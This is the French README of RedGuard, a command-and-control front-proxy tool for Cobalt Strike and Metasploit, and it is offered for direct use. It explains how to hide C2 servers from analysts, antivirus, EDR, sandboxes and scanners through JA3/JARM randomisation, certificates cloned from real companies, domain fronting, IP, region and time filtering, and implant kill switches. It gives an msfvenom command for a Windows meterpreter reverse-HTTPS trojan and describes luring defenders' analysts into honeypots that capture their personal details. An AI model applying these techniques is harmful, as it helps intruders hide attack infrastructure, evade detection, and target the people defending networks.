wikiz/redguardOutil de contrôle de flux frontal C2 avec randomisation d'empreintes JA3/JARM, domain fronting, validation de profil C2 malléable, et liste blanche IP pour contourner les équipes bleues, les antivirus, les EDR et la cartographie du cyberespace.
English | 中文文档
RedGuard, un outil dérivé basé sur la technologie de contrôle de flux frontal de commandement et de contrôle (C2), possède une conception plus légère, une interaction de trafic efficace et une compatibilité fiable avec le développement en langage de programmation go. Alors que les cyberattaques évoluent constamment, les exercices d'équipe rouge et bleue deviennent progressivement plus complexes. RedGuard est conçu pour fournir une meilleure solution de masquage de canal C2 pour l'équipe rouge, qui assure le contrôle de flux du canal C2, bloque le trafic d'analyse "malveillant" et complète mieux l'ensemble de la tâche d'attaque.
RedGuard est un outil de contrôle de flux frontal C2 qui peut éviter les détections de l'équipe bleue, des AVS, des EDR et des moteurs de recherche du cyberespace.
Vous pouvez directement télécharger et utiliser la version compilée, ou vous pouvez télécharger le package go à distance pour une compilation et une exécution indépendantes.```bash git clone https://github.com/wikiZ/RedGuard.git cd RedGuard
go build -ldflags "-s -w" -trimpath
chmod +x ./RedGuard&&./RedGuard
# 0x02 Description de la configuration
## initialisation
Comme illustré ci-dessous, définissez les permissions d'exécution et initialisez RedGuard. La première exécution générera un fichier de configuration dans le répertoire personnel de l'utilisateur actuel pour permettre une configuration flexible des fonctions. Nom du fichier de configuration : **.RedGuard_CobaltStrike.ini**.
**Contenu du fichier de configuration :**
Les options de configuration du cert concernent principalement les informations de configuration de la communication HTTPS chiffrée par certificat SSL entre l'échantillon et l'infrastructure frontale C2. Le proxy est principalement utilisé pour configurer les options de contrôle dans le trafic du proxy inverse. L'utilisation spécifique sera expliquée en détail ci-dessous.
La communication HTTPS chiffrée par certificat SSL sera générée dans le répertoire cert-rsa/ sous le répertoire où RedGuard est exécuté. Vous pouvez démarrer et arrêter les fonctions de base de l'outil en modifiant le fichier de configuration **(le numéro de série du certificat est généré selon l'horodatage, ne vous inquiétez pas d'être associé à cette fonctionnalité)**. Si vous souhaitez utiliser votre propre certificat, renommez-les simplement en ca.crt et ca.key.```bash
openssl x509 -in ca.crt -noout -text
Les empreintes JARM TLS aléatoires sont mises à jour à chaque démarrage de RedGuard pour éviter qu'elles ne soient utilisées pour authentifier l'infrastructure C2.
Dans le cas de l'utilisation de votre propre certificat, modifiez le paramètre HasCert dans le fichier de configuration à true pour éviter les problèmes de communication normaux causés par l'incompatibilité de la suite de chiffrement CipherSuites avec le certificat personnalisé en raison de la randomisation de l'obfuscation JARM.```bash
HasCert = false
### Certificats TLS forgés
Lors du déploiement d'un Domain fronting pour masquer le trafic C2, le nom de domaine accéléré ne contient pas d'informations de certificat HTTPS par défaut. C'est évidemment problématique, donc vous devez faire attention à la configuration du certificat lors de la configuration du nom de domaine. C'est également la base par défaut pour déterminer si l'échantillon utilise du trafic Domain fronting.
[^Tencent Cloud]: Configuration du certificat du réseau de diffusion de contenu
Je pense que tout le monde aura quelques questions après avoir lu ceci, **Comment obtenir le certificat configuré ? Si vous utilisez votre propre application pour le certificat, cela ne correspondra pas à l'effet d'anonymat que nous attendons.** Ici, vous pouvez utiliser le certificat cloné pour la configuration. Prenant Tencent Cloud comme exemple, il a été constaté lors des tests qu'il ne vérifiait pas la validité du certificat personnalisé téléchargé. Nous pouvons utiliser le même certificat que le site réel du nom de domaine accéléré pour le contrefaire. Bien que le certificat falsifié ne puisse pas communiquer lors du remplacement du certificat par défaut de CS dans des circonstances normales, il ne vérifiera pas la validité lorsqu'il sera déployé sur l'accélération complète du site CDN du fournisseur de services cloud et RedGuard, et le trafic interactif C2 peut communiquer normalement.
**Voici l'adresse du projet existant sur Github**```bash
https://github.com/virusdefender/copy-cert
Bien que le certificat côté trafic frontal du domaine exemple ait été résolu, du point de vue du mappage réseau à grande échelle, notre serveur C2 est toujours exposé au monde extérieur et peut encore être détecté et associé au vrai serveur C2. À ce moment, RedGuard peut être utilisé pour modifier le certificat par défaut de C2 afin d'obtenir l'anonymat.
[^intelligence information]: Certificats TLS
Ce qui précède montre l'effet du certificat falsifié du serveur C2. On peut voir qu'il est crédible et non expiré dans les renseignements de la communauté Threatbook. Le principal moyen d'obtenir le certificat numérique est de l'extraire et de le mettre à jour en temps réel lors de l'analyse d'échantillons dans le cloud sandbox, mais il n'est évidemment pas vérifié efficacement. La valeur d'état ne vérifie que la date d'expiration. La vérification de la confiance du certificat ne devrait reposer que sur la possibilité d'une communication normale.
Il convient de noter que les renseignements de Threatbook ne marquent pas les adresses SNI et HOST des requêtes d'échantillons avec les renseignements sur les certificats. Cela vise en fait à éviter les faux positifs. Je pense que c'est correct. En tant que base importante pour aider les chercheurs dans l'analyse, il vaut mieux que les renseignements de menace soient incomplets plutôt que d'indiquer une direction erronée, ce qui entraînerait des erreurs de jugement dans l'analyse ultérieure. Si la configuration de certificats pour l'accélération de site complet vise à falsifier les certificats pour le trafic de communication, alors la configuration du certificat de pré-réponse de RedGuard C2 vise à falsifier les caractéristiques comportementales du vrai serveur C2 déployé sur le réseau public pour obtenir des effets anti-mappage, ce qui est très nécessaire.
Extraire le numéro de série du certificat : 55e6acaed1f8a430f9a938c5, et effectuer un encodage HEX pour obtenir l'empreinte du certificat TLS : 26585094245224241434632730821
Nombre de résultats de recherche : 2291
Grâce au mappage du cyberespace, 2 291 adresses IP indépendantes ont été découvertes, et la vérification a confirmé qu'elles possédaient toutes des certificats TLS appartenant à Baidu. Il est difficile de déterminer s'il s'agit d'une communication malveillante uniquement sur la base du trafic de communication. Cependant, les certificats TLS pour le domaine front-end + les installations de trafic front-end C2 ont été falsifiés, interférant avec succès avec le mappage spatial et les renseignements de menace, provoquant une association incorrecte des informations, rendant les caractéristiques du trafic de l'attaquant plus réalistes et atteignant l'objectif de falsifier le trafic de communication normal.
Même s'il n'y a pas de traitement de transfert caché avant l'installation de trafic front-end C2, il est préférable de changer le certificat pour RedGuard. Par défaut, toute bibliothèque d'empreintes formée par l'identification d'empreintes de composants couramment utilisée actuellement dans le mappage du cyberespace utilise le comportement des caractéristiques de configuration par défaut des composants courants pour l'identification. Différents groupes peuvent présenter des caractéristiques uniques différentes au cours de ces processus de personnalisation. Bien sûr, la formation d'empreintes nécessite une certaine compréhension du composant cible, afin d'extraire les caractéristiques par défaut de la cible et de former une empreinte associée. Ici, les caractéristiques comportementales du certificat RG sont utilisées pour le mappage du cyberespace, qui est associé à un grand nombre de nœuds RG déployés sur le réseau public.
Il n'est pas surprenant que l'auteur ait pu extraire l'empreinte, mais il est toujours recommandé aux utilisateurs de RedGuard de modifier les informations du certificat par défaut et d'être un hacker professionnel :)
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard: -DelHeader string Customize the header to be deleted -DropAction string RedGuard interception action (default "redirect") -EdgeHost string Set Edge Host Communication Domain (default "") -EdgeTarget string Set Edge Host Proxy Target (default "") -FieldFinger string Set HTTP Header identification field Info -FieldName string Set the name of the HTTP Header identification field -HasCert string Whether to use the certificate you have applied for (default "true") -allowIP string Proxy Requests Allow IP (default "") -allowLocation string Proxy Requests Allow Location (default "") -allowTime string Proxy Requests Allow Time (default "") -common string Cert CommonName (default ".aliyun.com") -config string Set Config Path -country string Cert Country (default "CN") -dns string Cert DNSName -host string Set Proxy HostTarget -http string Set Proxy HTTP Port (default ":80") -https string Set Proxy HTTPS Port (default ":443") -ip string IPLookUP IP -locality string Cert Locality (default "HangZhou") -location string IPLookUP Location (default "风起") -malleable string Set Proxy Requests Filter Malleable File (default "*") -organization string Cert Organization (default "Alibaba (China) Technology Co., Ltd.") -redirect string Proxy redirect URL (default "https://360.net") -type string C2 Server Type (default "CobaltStrike") -u Enable configuration file modification
**P.S. Vous pouvez utiliser la commande de paramètre pour modifier le fichier de configuration. Bien sûr, je pense qu'il peut être plus pratique de le modifier manuellement avec vim.**
# 0x03 Utilisation de l'outil
## interception de base
Si vous accédez directement au port du proxy inverse, la règle d'interception sera déclenchée. Ici, vous pouvez voir le répertoire racine de la requête du client via le journal de sortie, mais comme la requête ne contient pas les informations d'identification demandées, c'est-à-dire l'en-tête de requête HOST correct, la règle d'interception de base est déclenchée, et le trafic est redirigé vers <https://360.net>
Ceci n'est qu'une démonstration de la sortie ; en pratique, on peut l'exécuter en arrière-plan via `nohup ./RedGuard &`.
```bash
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
Il n'est pas difficile de voir à partir de la section ci-dessus que 360.net est proxyé vers le port local 8080, 360.com est proxyé vers le port local 4433, et le protocole HTTP utilisé est également différent. En pratique, il est nécessaire de prêter attention au type de protocole du listener. Il doit être cohérent avec les paramètres ici, et configurer l'en-tête de requête HOST correspondant.
Comme le montre la figure ci-dessus, en cas d'accès non autorisé, les informations de réponse que nous obtenons sont également les informations de retour du site redirigé.
Dans le cas d'interception de base ci-dessus, la méthode d'interception par défaut est utilisée, le trafic illégal est intercepté par redirection. En modifiant le fichier de configuration, nous pouvons changer la méthode d'interception et l'URL du site de redirection. En fait, plutôt que d'appeler cela une redirection, je pense qu'il serait plus approprié de le décrire comme un détournement, un clonage, car le code de statut de réponse renvoyé est 200, et la réponse est obtenue depuis un autre site web pour imiter le site cloné/détourné aussi fidèlement que possible.
Les paquets invalides peuvent être routés de manière incorrecte selon trois stratégies :
drop_action = proxy
Redirect = https://360.net
**Redirect = URL** dans le fichier de configuration pointe vers l'adresse URL détournée. RedGuard prend en charge le "hot change", ce qui signifie que pendant que l'outil s'exécute en arrière-plan via `nohup`, nous pouvons toujours modifier le fichier de configuration. Le contenu est démarré et arrêté en temps réel.```bash
./RedGuard -u --drop true
Notez que lors de la modification du fichier de configuration via la ligne de commande, l'option -u ne doit pas être omise, sinon le fichier de configuration ne peut pas être modifié avec succès. Si vous devez restaurer les paramètres par défaut du fichier de configuration, il vous suffit de saisir ./RedGuard -u.
Une autre méthode d'interception est DROP, qui ferme directement la réponse de communication HTTP et est activée en définissant DROP = true. L'effet d'interception spécifique est le suivant :
On peut voir que le contrôle de flux frontal C2 ferme directement la réponse aux requêtes illégales sans code de réponse HTTP. Dans la détection de la cartographie du cyberespace, la méthode DROP peut cacher l'ouverture des ports. L'effet spécifique peut être vu dans l'analyse de cas suivante.
Je pense que de nombreux utilisateurs seront intéressés par le détournement de réponse. Le principe général est que lorsque le client initie une requête au vrai serveur C2, comme il ne satisfait pas aux règles d'entrée, le serveur C2 obtiendra le site normal spécifié et retournera ses informations de réponse. Par conséquent, du côté de la requête, il semble interagir avec le service IP, mais en fait, le serveur C2 intermédiaire est utilisé comme serveur proxy pour interagir avec le site normal, et il est difficile de trouver des anomalies. Si la requête respecte les règles d'entrée, la requête de trafic sera transmise au port d'écoute du vrai service C2 pour interaction, et le vrai port d'écoute a été filtré par le pare-feu cloud, n'autorisant que l'accès local, et il ne peut pas être directement accessible depuis l'extérieur. Donc du point de vue de l'ouverture des ports externes, seul le port HTTP/S est ouvert, et dans un sens, c'est effectivement le port en ligne du C2.
[^Diagramme de flux de trafic] : Processus d'interaction du trafic du serveur C2
Dans les données de cartographie du cyberespace, le code de réponse du port ouvert HTTP/S de l'IP est 200, et non un saut 307, ce qui est plus authentique.
Le certificat HTTPS a le même effet que le certificat falsifié mentionné ci-dessus, et les deux sont des empreintes de certificats réels.
Je pense que de nombreuses équipes rouges utiliseront largement des méthodes de dissimulation telles que les fonctions cloud/domain fronting dans le processus des projets de combat. Cependant, dans la confrontation offensive-défensive d'aujourd'hui, les deux méthodes de dissimulation ci-dessus ont un problème fatal, à savoir qu'elles peuvent se connecter directement au service C2. Le résultat est sans aucun doute que lorsque nous saisissons l'adresse de la fonction cloud ou l'IP/HOST interactif du domain fronting, nous pouvons accéder directement au service d'écoute C2 et prouver qu'il s'agit d'une infrastructure d'attaque.
Étant donné que le trafic peut atteindre directement C2, il convient de se demander si l'équipement de sécurité peut effectuer une analyse CS sur le trafic qui ne correspond pas au SNI et au HOST pour identifier s'il s'agit de trafic malveillant. Il en va de même pour les fonctions cloud ou les environnements sandbox. Outre le côté échantillon, il peut également y avoir davantage de processus d'analyse au niveau du trafic.
Après le détournement de réponse, l'accès direct au service HTTP peut interagir normalement avec le site Web, mais Cscan ne peut pas analyser les informations de l'échantillon car le trafic ne peut pas atteindre le véritable écouteur C2. L'interaction C2 normale n'est possible que lorsque les caractéristiques de déclenchement du trafic sont respectées. Cependant, il y a un problème. Le script de scan C2 doit respecter les règles d'entrée, ce qui met à l'épreuve les capacités de codage des analystes de l'équipe bleue. Le script de scan actuellement public se présente sous la forme de Nmap.
JA3 fournit une empreinte plus reconnaissable pour les communications chiffrées entre clients et serveurs. Il utilise les empreintes TLS pour identifier les négociations TLS entre clients et serveurs malveillants, réalisant ainsi l'effet d'associer les clients malveillants. Cette empreinte est facile à générer sur n'importe quelle plateforme en utilisant le chiffrement MD5 et est actuellement largement utilisée dans le renseignement sur les menaces. Par exemple, on peut la voir dans les rapports d'analyse d'échantillons de certains sandboxes pour prouver la corrélation entre différents échantillons.
Si nous pouvons maîtriser la JA3(S) du serveur C2 et du client malveillant, même si le trafic est chiffré et que l'adresse IP ou le nom de domaine du serveur C2 est inconnu, nous pouvons toujours identifier la négociation TLS entre le client malveillant et le serveur grâce à l'empreinte TLS. Je pense que tout le monde peut y penser après avoir vu cela, ce qui est également une mesure pour faire face aux méthodes de dissimulation de transfert de trafic telles que le domain fronting, le proxy inverse et la fonction cloud. Grâce à l'identification d'échantillons d'exécution de sandbox et à la négociation TLS de communication C2, et générer des empreintes JA3(S), cela peut être appliqué au renseignement sur les menaces pour réaliser un traçage auxiliaire.
J'ai annoncé cette technologie en 2022. Lors des tests de l'environnement sandbox micro-step, j'ai constaté que bien que le nombre d'IP de sortie demandant une interaction soit faible, il n'était pas précis d'identifier le sandbox par IP, et c'était une caractéristique facilement modifiable, mais son empreinte JA3 était unique dans le même environnement système. Plus tard, j'ai reçu des retours indiquant que le sandbox avait terminé la randomisation des empreintes, mais des tests récents ont montré que cela n'a pas été entièrement mis en œuvre. J'espère toujours faire face au problème des empreintes du côté du trafic.
Du point de vue du sandbox cloud, en surveillant l'interaction de trafic entre l'échantillon et le serveur C2, l'empreinte JA3(S) est générée pour identifier le client malveillant et ainsi établir une association. En pensant à l'inverse, en tant que dispositif de contrôle de trafic devant C2, nous pouvons également effectuer de telles opérations pour obtenir l'empreinte JA3 de la requête du client. En déboguant différents environnements sandbox, ces empreintes JA3 sont obtenues pour former une bibliothèque d'empreintes, ce qui permet de mettre en place une stratégie d'interception de base.
Imaginez que dans le processus d'interaction d'un cheval de Troie par étapes, le chargeur va d'abord tirer le shellcode de l'adresse distante. Ensuite, lorsque le trafic identifie que la requête correspond aux caractéristiques du sandbox cloud de la bibliothèque d'empreintes JA3, il interceptera les requêtes suivantes. Si le shellcode ne peut pas être obtenu, tout le processus de chargement ne peut pas être achevé, et le sandbox ne peut naturellement pas l'analyser complètement. Si l'environnement est un cheval de Troie sans étapes, alors l'analyse du sandbox ne pourra pas non plus être finalement téléchargée vers le serveur C2. Je pense que tout le monde s'est réveillé d'un sommeil et a trouvé beaucoup d'enregistrements de sandbox de longue durée accrochés au C2. Bien sûr, dans un état idéal, nous pouvons identifier différents environnements sandbox, ce qui dépend principalement de la fiabilité de la bibliothèque d'empreintes.
Pendant le test, j'ai constaté qu'après avoir ajouté l'empreinte JA3 de la bibliothèque de requêtes en langage GO de ZoomEye à la bibliothèque d'empreintes et surveillé le trafic des requêtes RG, la plupart des requêtes ont déclenché l'interception de base de la fonctionnalité de la bibliothèque d'empreintes JA3. Je suppose ici que le langage sous-jacent du produit de cartographie fait partie de la tâche de scan implémentée en langage GO. Via un lien, la logique de scan composée de différents langages sous-jacents a finalement achevé l'ensemble de la tâche de scan. Cela explique également pourquoi le scan de certains produits de cartographie a déclenché la fonctionnalité d'interception d'empreinte JA3 de la bibliothèque de requêtes GO. Le principe de la règle de reconnaissance est le même que celui de l'empreinte du sandbox cloud. Les deux utilisent l'unicité de l'environnement du client requêteur et de la bibliothèque de requêtes. Contrairement au côté PC, l'environnement de requête de ces produits ne sera fondamentalement pas modifié arbitrairement, ce qui nous permet également de saisir son empreinte côté trafic et d'intercepter, alors pouvons-nous penser à savoir si l'équipement de sécurité peut utiliser l'empreinte JA3 du trafic de détection active comme base d'interception ? Bien sûr, lorsque le trafic métier est important, il peut y avoir un certain nombre de faux positifs. Nous ne proposons ici que des exigences de produit théoriquement réalisables.
P.S. Les utilisateurs peuvent également télécharger des échantillons vers le sandbox pour obtenir et vérifier leurs empreintes JA3 et les ajouter à la bibliothèque d'empreintes. Il convient de noter que cela n'a pas de sens si le sandbox change seulement l'empreinte JA3 pour qu'elle ne soit pas l'empreinte ci-dessus. Ce qui doit vraiment être résolu, c'est que chaque fois que le sandbox effectue une analyse dynamique, ce n'est pas la même empreinte, et ses modifications doivent répondre aux exigences de ne pas se répéter autant que possible. Si le taux de répétition est élevé, il sera toujours utilisé comme empreinte.
Prend actuellement en charge l'identification et l'interception du sandbox cloud Threatbook à titre de démonstration d'effet
La configuration des deux paramètres suivants dans le fichier de configuration réalise l'effet de changement du port du proxy inverse. Il est recommandé d'utiliser le masquage de port par défaut tant qu'il n'entre pas en conflit avec le port actuel du serveur. S'il doit être modifié, faites attention à ne pas omettre le : de la valeur du paramètre.```bash
Port_HTTPS = :443
Port_HTTP = :80
## RedGuard logs
Le comportement de traçage de l'équipe bleue est analysé via le journal d'interception de la requête cible, qui peut être utilisé pour suivre les événements/problèmes de connexion pair. Le fichier journal est généré dans le répertoire où RedGuard est exécuté, **nom du fichier : RedGuard.log**.
## RedGuard Obtenir l'adresse IP réelle
Cette section décrit comment configurer RG pour obtenir l'adresse IP réelle d'une requête. Vous devez simplement ajouter la configuration suivante au profil du dispositif C2, l'adresse IP réelle de la cible est obtenue via l'en-tête de requête X-Forwarded-For.```bash
http-config {
set trust_x_forwarded_for "true";
}
La méthode de configuration prend AllowLocation = Jinan, Beijing comme exemple. Notez que RedGuard fournit deux API pour l'attribution IP inversée, une pour les utilisateurs de la Chine continentale et l'autre pour les utilisateurs hors Chine continentale, et peut attribuer dynamiquement l'API à utiliser en fonction du nom de domaine géographique saisi. Si la cible est la Chine, utiliser le chinois pour la région définie, sinon utiliser les noms de lieux anglais. Il est recommandé que les utilisateurs de la Chine continentale utilisent des noms chinois, afin que la précision de l'attribution et la rapidité de réponse de l'API obtenue par requête inverse soient les meilleurs choix.
P.-S. Les utilisateurs de la Chine continentale, n'utilisez pas AllowLocation = Jinan,beijing de cette façon ! Cela n'a pas beaucoup de sens, le premier caractère de la valeur du paramètre détermine quelle API utiliser !```bash
AllowLocation = *
Avant de décider de restreindre la région, vous pouvez interroger manuellement l'adresse IP à l'aide de la commande suivante.```bash
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
Ici, nous configurons pour autoriser uniquement la région du Shandong à se connecter
Trafic légal :
Zone de requête illégale :
Concernant les connexions liées aux restrictions géographiques, cela peut être plus pratique dans le cadre des exercices offensifs et défensifs actuels. Fondamentalement, les cibles des restrictions des exercices offensifs et défensifs aux niveaux provincial et municipal se trouvent dans des zones désignées, et le trafic provenant d'autres zones peut naturellement être ignoré. Cette fonctionnalité de RedGuard permet non seulement de limiter une seule région, mais aussi de limiter plusieurs régions de connexion en fonction des provinces et des villes, et d'intercepter le trafic provenant d'autres régions.
En plus de la liste noire d'IP intégrée des fournisseurs de cybersécurité dans RedGuard, nous pouvons également restreindre en utilisant la méthode de la liste blanche. En fait, je suggère également que lors des tests d'intrusion web, nous puissions restreindre les adresses IP en ligne selon la liste blanche pour diviser les adresses IP de plusieurs manières.```bash
AllowIP = 127.0.0.1
Comme illustré dans la figure ci-dessus, nous limitons les connexions en n'autorisant que 127.0.0.1, puis le trafic des requêtes provenant d'autres IP sera bloqué.
## Blocage basé sur une période
Cette fonctionnalité est plus intéressante. Définir les valeurs de paramètres suivantes dans le fichier de configuration signifie que l'outil de contrôle de trafic ne peut se connecter que de 8h00 à 21h00. Le scénario d'application spécifique ici est que pendant la durée d'attaque spécifiée, nous autorisons la communication avec le C2, et restons silencieux aux autres moments. Cela permet également aux équipes rouges de bien dormir sans craindre qu'une équipe bleue de nuit, s'ennuyant, analyse votre cheval de Troie et vous réveille pour quelque chose d'indescriptible, hahaha.```bash
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard utilise le profil Malleable C2. Il analyse la section du fichier de configuration extensible fourni pour comprendre le contrat et ne laisser passer que les requêtes entrantes qui le satisfont, tout en trompant les autres requêtes. Des parties telles que http-stager, http-get et http-post et leurs uris, en-têtes, User-Agent, etc. correspondants sont utilisées pour distinguer les requêtes légitimes de beacon du bruit Internet non pertinent ou des paquets Out-of-bounds IR/AV/EDR.```bash
MalleableFile = /root/cobaltstrike/Malleable.profile
Le profil écrit par 风起 est recommandé pour une utilisation :
> <https://github.com/wikiZ/CobaltStrike-Malleable-Profile>
## Champs de réponse de suppression personnalisée
Dans Cobalt Strike 4.7+, Teamserver supprime automatiquement l'en-tête Content-Encoding sans aucune notification, ce qui peut entraîner une violation de malleable http-(get|post).server. De plus, s'il n'y a pas de Content-Type dans le message de réponse du serveur CS, mais après avoir été transféré par RedGuard, le Content-Type est ajouté à l'en-tête du message de réponse, ce qui fait que cf met en cache la page et provoque des interférences.
Après RedGuard 23.08.21, la fonction de personnalisation de l'en-tête du paquet de réponse a été ajoutée. Les utilisateurs peuvent personnaliser et supprimer les informations d'en-tête dans le paquet de réponse en modifiant le fichier de configuration pour résoudre le problème d'analyse incorrecte.```bash
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encoding
RedGuard 23.05.13 a mis à jour la fonction de reconnaissance d’empreinte d’échantillon de trojan, qui repose sur la personnalisation du champ Header HTTP du profil Malleable comme « valeur de sel d’échantillon » pour identifier de manière unique le même écouteur C2/Header Host. De plus, l’empreinte d’échantillon de trojan générée en combinant d’autres champs de requête pertinents peut être utilisée pour détecter la vivacité personnalisée de l’échantillon. Selon les exigences des tâches de l’attaquant, la fonction de reconnaissance d’empreinte d’échantillon de trojan peut effectuer une « opération hors ligne » sur les échantillons que vous souhaitez désactiver, afin de mieux échapper à l’analyse du trafic malveillant de la communication des échantillons et à l’analyse d’acquisition de la charge utile PAYLOAD des échantillons échelonnés, et fournir des mesures de furtivité plus personnalisées à l’attaquant.
Pour différents écouteurs C2, nous pouvons attribuer différents alias aux configurations du profil Malleable, personnaliser les noms et valeurs des champs d’en-tête associés comme valeur de sel d’échantillon, et l’utiliser comme l’un des éléments de distinction entre différents échantillons. Le code suivant est fourni à titre d’illustration, et dans les scénarios réels d’attaque et de défense, nous pouvons utiliser des champs de paquets de requêtes HTTP plus réalistes comme base de jugement.```bash http-get "listen2" { set uri "/image.gif"; client { header "Accept-Finger" "866e5289337ab033f89bc57c5274c7ca"; //Custom HTTP Header and Value metadata { print } } }
**Trafic HTTP**
Comme le montre la figure, nous utilisons la valeur Salt de l'échantillon ci-dessus et le champ Host comme base pour la génération d'empreintes. Voici ce que nous savons :
- **Salt Value：866e5289337ab033f89bc57c5274c7ca**
- **Host ：redguard.com**
En concaténant les valeurs ci-dessus, l'empreinte de l'échantillon est obtenue comme suit :```bash
22e6db08c5ef1889d64103a290ac145c
Maintenant que nous connaissons l'empreinte de l'échantillon ci-dessus, nous pouvons définir le champ d'en-tête personnalisé et l'empreinte de l'échantillon dans le fichier de configuration de RedGuard pour intercepter le trafic malveillant. Il est à noter que nous pouvons étendre plusieurs empreintes d'échantillons, séparées par des virgules, et que le FieldName doit être cohérent avec le nom du champ d'en-tête configuré dans le Malleable Profile
Étant donné que le fichier de configuration de RedGuard est une configuration à chaud, nous n'avons pas besoin de redémarrer RedGuard pour intercepter les échantillons que nous souhaitons désactiver. Lorsque nous souhaitons réactiver l'échantillon, il suffit de supprimer l'empreinte correspondante du fichier de configuration de RedGuard.
Effet de démonstration :
Si la méthode ci-dessus pose un problème, le serveur C2 réel en ligne ne peut pas être directement intercepté par le pare-feu, car la demande d'équilibrage de charge réelle dans le proxy inverse est effectuée par l'IP du fabricant du serveur cloud.
En combat singulier, nous pouvons définir une règle d'interception sur le pare-feu du serveur cloud.
Ensuite, définissez l'adresse pointée par le proxy sur https://127.0.0.1:4433.```bash {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
Et parce que notre vérification de base est basée sur l'en-tête de requête HTTP HOST, ce que nous voyons dans le trafic HTTP est également identique à la méthode de domain fronting, mais le coût est plus faible, et un seul serveur cloud est nécessaire.
Pour les paramètres de l'écouteur, le `HTTPS Port (C2)` est défini sur le port du proxy inverse RedGuard, et le `HTTPS Port (Bind)` est le port de connexion réel de la machine locale.
## Metasploit
**Génère un Trojan**```bash
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe
Bien sûr, dans un scénario de domain fronting, vous pouvez également configurer votre LHOST pour utiliser n'importe quel nom de domaine du CDN du fabricant, et veiller à définir HttpHostHeader pour qu'il corresponde à RedGuard.```bash setg OverrideLHOST 360.com setg OverrideLPORT 443 setg OverrideRequestHost true
Il est important de noter que le paramètre `OverrideRequestHost` doit être défini sur `true`. Cela est dû à une fonctionnalité dans la façon dont Metasploit gère les requêtes HTTP/S entrantes par défaut lors de la génération de configuration pour les charges utiles de staging. Par défaut, Metasploit utilise la valeur de l'en-tête `Host` de la requête entrante (si présente) pour la configuration de la deuxième étape au lieu du paramètre `LHOST`. Par conséquent, l'étape de construction est configurée pour envoyer des requêtes directement à votre nom de domaine caché, car CloudFront transmet votre domaine interne dans l'en-tête `Host` des requêtes transférées. Ce n'est clairement pas ce que nous demandons. En utilisant la valeur de configuration `OverrideRequestHost`, nous pouvons forcer Metasploit à ignorer l'en-tête `Host` entrant et à utiliser plutôt la valeur de configuration `LHOST` pointant vers le domaine d'origine CloudFront.
L'écouteur est défini sur le port de ligne réel qui correspond à l'adresse vers laquelle RedGuard redirige effectivement.
RedGuard a reçu la requête :
## Cartographie de l'espace cybernétique
Comme le montre la figure ci-dessous, lorsque notre règle d'interception est définie sur DROP, la sonde du système de cartographie spatiale sonde le répertoire / de notre port de proxy inverse à plusieurs reprises. En théorie, le paquet de requête envoyé par la cartographie est déguisé en trafic normal comme illustré. Mais après plusieurs tentatives, comme la signature du paquet de requête ne répond pas aux exigences de libération de RedGuard, ils sont tous répondus par Close HTTP. L'effet final affiché sur la plateforme de cartographie est que le port de proxy inverse n'est pas ouvert.
Le trafic illustré dans la figure ci-dessous signifie que lorsque la règle d'interception est définie sur Redirect, nous constatons que lorsque la sonde de cartographie reçoit une réponse, elle continue de scanner notre répertoire. User-Agent est aléatoire, ce qui semble correspondre à des requêtes de trafic normales, mais les deux ont été bloqués avec succès.
**Plateforme de cartographie - Effet du mode d'interception par réponse détournée :**
**Plateforme de cartographie - Effet de l'interception par redirection :**
## Domain fronting
RedGuard prend en charge le Domain fronting. À mon avis, il existe deux formes de présentation. L'une consiste à utiliser la méthode traditionnelle de Domain fronting, qui peut être réalisée en définissant le port de notre proxy inverse dans l'adresse de retour à l'origine de l'accélération à l'échelle du site. Sur la base originale, la fonction de contrôle de trafic est ajoutée au Domain fronting, et il peut être redirigé vers l'URL spécifiée selon notre paramétrage pour le rendre plus réaliste. Il est à noter que le paramètre HTTPS HOST de RedGuard doit être cohérent avec le nom de domaine de l'accélération à l'échelle du site.
En combat individuel, je suggère que la méthode ci-dessus peut être utilisée, et dans les tâches d'équipe, cela peut également être réalisé par un "Domain fronting" auto-construit.
Dans le Domain fronting auto-construit, gardez plusieurs ports de proxy inverse cohérents, et l'en-tête HOST pointe systématiquement vers le port d'écoute du véritable serveur C2 en arrière-plan. De cette façon, notre véritable serveur C2 peut être bien caché, et le serveur du proxy inverse ne peut ouvrir que le port proxy en configurant le pare-feu.
Cela peut être réalisé via plusieurs serveurs de nœuds, et configurer plusieurs IP de nos nœuds dans l'IP en ligne HTTPS de l'écouteur CS.
## Piège malveillant Honeypot
**Le principe du piège malveillant Honeypot repose principalement sur la fonction de détournement de réponse ou de redirection du guidage de trafic RG, qui dirige les analystes évaluant les installations C2 vers l'adresse du sandbox honeypot. Dans l'état de détournement de réponse, RG dirigera le trafic de requêtes qui ne répond pas aux règles d'entrée vers les actifs honeypot.** Face à des honeypots plus puissants (comme ceux qui capturent les numéros de téléphone des opérateurs), le client initiera une requête selon la réponse du site cible et sera détourné par jsonp pour obtenir des informations pertinentes.
Imaginez que lorsque les analystes accèdent directement au port en ligne C2, ils seront dirigés vers l'actif honeypot, ce qui causera sans aucun doute une perturbation pour les analystes. Les analystes sont malicieusement dirigés pour demander l'actif honeypot, et l'extrémité de surveillance du honeypot capture les informations pertinentes des analystes de l'équipe bleue et remonte l'erreur. Si l'objectif d'analyse est erroné dès le début, comment obtenir un bon résultat ? Cela causera sans aucun doute de sérieuses frictions internes pour l'équipe de défense.
**Voici un ensemble d'empreintes ZoomEye associées aux actifs honeypot :**```bash
(iconhash:"9fd6f0e56f12adfc2a4da2f6002fea7a" (title:"然之协同" +"iframe" +">v.ignoreNotice")) ("/static/js/2.ca599e2d.chunk.js?t=" +title:"OA办公系统") ("data.sloss.xyz/get_code.js?access") ("/monitordevinfo/common.js") (app:"honeyport" +country:china +after:"2022-08-22")
La façon d'obtenir cet effet est très simple, il vous suffit de modifier les valeurs clés pertinentes dans le fichier de configuration RG.```bash
drop_action = proxy
Redirect = https://market.baidu.com
**P.-S. Je pense que tout le monde sait comment le configurer sans explication :)**
